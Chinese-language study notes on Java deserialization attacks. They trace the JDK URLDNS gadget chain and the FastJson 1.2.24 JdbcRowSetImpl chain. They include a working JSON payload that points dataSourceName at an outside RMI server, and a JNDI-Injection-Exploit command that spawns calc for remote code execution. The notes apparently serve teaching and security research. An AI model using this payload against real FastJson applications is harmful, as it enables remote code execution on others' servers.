知識點:
1、安全開發-JavaEE-原生序列化-URLDNS鏈分析
2、安全開發-JavaEE-FastJson-JdbcRowSetImpl鏈分析
利用鏈也叫"gadget chains",我們通常稱為gadget:
1、共同條件:實現Serializable或者Externalizable接口,最好是jdk自帶或者JAVA常用組件里有
2、入口類source:(重寫readObject 調用常見函數 參數類型寬泛 最好jdk自帶)
3、調用鏈gadget chain:相同方法名、相同類型
4、執行類sink:RCE SSRF 寫文件等等
一、演示案例-WEB開發-JavaEE-原生反序列化&URLDNS鏈(JDK自帶鏈)
利用鏈跟蹤
java.util.HashMap實現了Serializable接口滿足條件后,通過HashMap里面的hash到key.hashCode(),key的轉變URL類,再到hashCode為-1觸發URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)
HashMap->hash
key.hashCode->
URL.hashCode->
handler.hashCode->
URLStreamHandler.getHostAddress
寫利用鏈
參考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
搞清楚入口類,需要修改的值,需要傳遞的值,
創建一個HashMap泛型,(后續操作URL類即int類型值)
在創建一個url連接,(將要請求的地址寫入對應代碼的U)
用put方法把url數據存放到里面,觸發putVal(hash(key)
其中hash里面會調用key.hashCode()
最終觸發點是key,所以我們就需要給key的類型設置成URL類,
通過邏輯讓hashCode的值為-1后調用handler.hashCode即URLStreamHandler.hashCode,最終調用里面的getHostAddress實現
二、演示案例-WEB開發-JavaEE-FastJson反序列化&JDBC鏈(JDK自帶鏈)
參考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
FastJson
是啊里巴巴的的開源庫,用于對JSON
格式的數據進行解析和打包。其實簡單的來說就是處理json
格式的數據的。例如將json
轉換成一個類。或者是將一個類轉換成一段json
數據。Fastjson 是一個 Java
庫,提供了Java
對象與 JSON
相互轉換。
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
1、序列化方法
JSON.toJSONString(),對象轉換為JSON字符串;
JSON.toJSONBytes(),對象轉換為byte數組;
2、反序列化方法
JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
將JSON對象轉換為java對象:JSON.toJavaObject();
將JSON對象寫入write流:JSON.writeJSONString();
3、常用
JSON.toJSONString(),JSON.parse(),JSON.parseObject()
4、引出安全-序列化固定類后,反序列化不指定類后
parse方法在調用時會調用set方法
parseObject在調用時會調用set和get方法
5、引出安全-序列化固定類后,反序列化指定類后
parseObject在調用時會調用set方法
6、安全利用鏈
JDK自帶鏈-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +"\"autoCommit\":true" +"}";
JSON.parse(payload);反序列化對象:com.sun.rowset.JdbcRowSetImpl
改動的成員變量:dataSourceName autoCommitsetdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());RMI注入:觸發RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");
生成RMI惡意調用類:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"